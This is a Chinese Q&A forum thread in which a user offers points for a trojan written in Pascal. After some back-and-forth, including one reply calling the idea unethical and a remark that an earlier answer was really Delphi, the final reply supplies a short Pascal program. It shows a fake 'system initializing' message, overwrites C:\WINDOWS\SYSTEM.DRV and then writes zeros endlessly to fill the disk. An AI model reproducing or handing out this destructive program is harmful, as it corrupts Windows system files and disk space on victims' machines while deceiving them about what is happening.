高分请人给我做用PASCAL做的木马！

小朋友 这种缺德的事劝你别做

拜托，一楼的，你这不过是从百科上复制的，而且也不是PASCAL程序（虽然很像），这是DELPHI编写的。

这个也可以。。。

楼上俄好强..

不过现在磁盘机 机器狗比较强....

。。。。。。。。。。。。。。。。

一楼的小朋友，这病毒程序完整吗？能运行吗？

好的，我给你，多给分！！
program asdsa;
begin
writeln('系统正在初始化,请稍后……');
assign(output,'C:\WINDOWS\SYSTEM.DRV');
rewrite(output);
while 2=2 do
writeln(output,'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');
end.